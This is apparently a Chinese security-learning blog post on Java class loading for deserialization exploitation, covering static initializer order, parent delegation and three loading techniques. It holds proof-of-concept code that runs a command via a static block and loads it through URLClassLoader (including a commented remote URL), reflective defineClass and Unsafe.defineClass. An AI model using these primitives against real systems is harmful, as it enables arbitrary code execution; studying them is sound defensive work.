0%

类加载及反序列化利用

前言

在java反序列化时由于readObject会自动执行代码,在java类加载的时候也会执行代码,从这里可以扩宽攻击的知识面

Javac原理: javac是用于将源码文件.java编译成对应的字节码文件.class

类加载

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行

image)

给出示例代码

import java.io.Serializable;

public class Person implements Serializable {
public String name;
private int age;
public static int id;

static {
System.out.println("静态代码快");
}

public static void staticAction(){
System.out.println("静态方法");
}

{
System.out.println("构造代码块");
}

public Person(){
System.out.println("无参Person");
}

public Person(String name,int age){
System.out.println("有参Person");
this.name = name;
this.age = age;
}
}

分为了四个部分静态代码块,静态方法,构造代码块,构造方法,下面给出不同情况的不同输出

new Person();
//new Person("a",10);
输出:
静态代码快
构造代码块
无参Person
//有参Person

Person.staticAction();
输出:
静态代码快
静态方法

Person.id =1;
输出:
静态代码快

初始化时调用静态代码块,在 使用时才调用其他函数等

初始化:静态代码块

实例化:构造代码块,无参构造函数

双亲委派机制

Java虚拟机 - 双亲委派机制 - 掘金 (juejin.cn)

面试官:说说双亲委派模型? - 掘金 (juejin.cn)

简单说就是 Java虚拟机对class文件采用的是 按需加载 的方式,也就是说当需要使用该类时才会将它的class文件加载到内存生成class对象。而且加载某个类的class文件时,Java虚拟机采用的是 双亲委派模式

模型的原理就是

  • 如果一个类加载器收到了类加载请求,它并不会自己先去加载,而是把这个请求委托给父类的加载器去执行。

  • 如果父类加载器还存在其父类加载器,则进一步向上委托,依次递归请求最终将到达顶层的启动类加载器。

  • 如果父类加载器可以完成类加载任务,就成功返回,倘若父类加载器无法完成此加载任务,子加载器才会尝试自己去加载

就是想上请求加载,上面没法加载,那就自己加载

作用就是

  • 保护程序安全,防止核心API被随意篡改。在java.lang包下,开发者自定义的类中的main方法不允许执行,防止恶意代码对程序产生破坏。

  • 避免类的重复加载。一个类只会被加载一次。

  • 引导类加载器(bootstrap class loader):它用来加载 Java 的核心库,是用原生代码来实现的,并不继承自 java.lang.ClassLoader
  • 扩展类加载器(extensions class loader):它用来加载 Java 的扩展库。Java 虚拟机的实现会提供一个扩展库目录。该类加载器在此目录里面查找并加载 Java 类。
  • 系统类加载器(system class loader):它根据 Java 应用的类路径(CLASSPATH)来加载 Java 类。一般来说,Java 应用的类都是由它来完成加载的。可以通过 ClassLoader.getSystemClassLoader()来获取它。

动态类加载方法

Class.forName()

  • 初始化/不初始化
Class.forName("Person");
输出:
静态代码块

跟进forName,

跟进forName0,四个参数,(类名,是否初始化,类加载器,不重要)

其实forName有两个最后都是调用forName0,这个就是自己可控是否初始化

判断一下,静态代码块是不是在初始化时调用

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class.forName("Person",false,cl);
输出:(空)

确实是在类加载初始化时进行的调用

ClassLoader.loadClass

  • 不进行初始化
  • 存在利用方式
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("Person");
c.newInstance();
输出:
静态代码快
构造代码块
无参Person

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("Person");
输出:(空)

也就是说在利用loadClass进行类加载时是不进行初始化的

跟进调试,根据双亲委派模型,首先进入的是application的AppClassLoader,因为jdk源码问题暂时不跟了

底层调用大概流程

  • 继承流程: ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

  • 调用流程: loadClass->findClass(重写的方法)->defineClass(从字节码加载类)

利用方式一:URLClassLoader任意类加载

根据URL的构造方法进行构造

将 calc.java 编译为class文件

import java.io.IOException;

public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

加载恶意类

import java.net.URL;
import java.net.URLClassLoader;

public class BasicLearn {
public static void main(String[] args) throws Exception {
//本地远程获取恶意class文件
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\cys\\Desktop\\")});
//URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://ip/")});

//加载恶意类
Class<?> calc = urlClassLoader.loadClass("calc");
calc.newInstance();
}
}

方式二:ClassLoader.defineClass字节码加载任意类

  • 利用defineClass
  • 私有->反射

从字节码加载类,不出网情况下利用方式

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class BasicLearn {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();

Method declaredMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
declaredMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop\\calc.class"));
//加载类
Class calc = (Class) declaredMethod.invoke(cl, "calc", code, 0, code.length);
//实例化对象,触发static代码块
calc.newInstance();
}
}

方式三:Unsafe.defineClass

  • 利用defineClass
  • public却无法直接生成

等解决源码问题,再跟进调试

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class BasicLearn {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop\\calc.class"));

Class c = Unsafe.class;
Field theUnsafe = c.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> calc = unsafe.defineClass("calc", code, 0, code.length, cl, null);
calc.newInstance();
}
}

参考

Java类加载机制和对象创建过程 - SegmentFault 思否

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)_哔哩哔哩_bilibili

面试官:说说双亲委派模型? - 掘金 (juejin.cn)